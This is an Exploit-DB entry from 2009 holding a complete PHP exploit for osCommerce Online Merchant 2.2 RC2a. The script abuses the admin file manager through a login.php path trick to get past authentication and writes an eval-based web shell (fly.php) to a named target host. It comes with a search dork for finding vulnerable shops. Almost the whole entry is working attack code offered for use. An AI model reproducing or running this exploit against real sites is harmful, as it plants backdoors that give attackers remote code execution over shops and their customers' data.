osCommerce Online Merchant 2.2 RC2a - Code Execution

EDB-ID:

9556

CVE:

EDB Verified: ✓

Author:

FLYH4T

Type:

WEBAPPS

Exploit: / {}

Platform:

PHP

Date:

2009-08-31

Vulnerable App:

```
<?php
print_r('
+-------------------------------------------------------------------------
-+
osCommerce Online Merchant 2.2 RC2a RCE Exploit
by Flyh4t
mail: phpsec@hotmail.com
team: http://www.wolvez.org
dork: Powered by osCommerce
Gr44tz to q1ur3n ã€puret_tã€ukã€toby57 and all the other members of
WST
Thx to exploits of blackh
+-------------------------------------------------------------------------
-+
');
$host ='democn.51osc.com';
$path = '/';
$admin_path = 'admin/';
$shellcode = "filename=fly.php&file_contents=test<?
php%20@eval(\$_POST[aifly]);?>";
$message="POST ".$path.$admin_path."file_manager.php/login.php?action=save
HTTP/1.1\r\n";
$message.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, */*\r\n";
$message.="Accept-Language: zh-cn\r\n";
$message.="Content-Type: application/x-www-form-urlencoded\r\n";
$message.="Accept-Encoding: gzip, deflate\r\n";
$message.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)\r\n";
$message.="Host: $host\r\n";
$message.="Content-Length: ".strlen($shellcode)."\r\n";
$message.="Connection: Close\r\n\r\n";
$message.=$shellcode;
$fd = fsockopen($host,'80');
if(!$fd)
{
    echo '[~]No response from'.$host;
    die;
}
fputs($fd,$message);
echo ("[+]Go to see U webshell : $host/fly.php");
?>

# milw0rm.com [2009-08-31]
```

Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions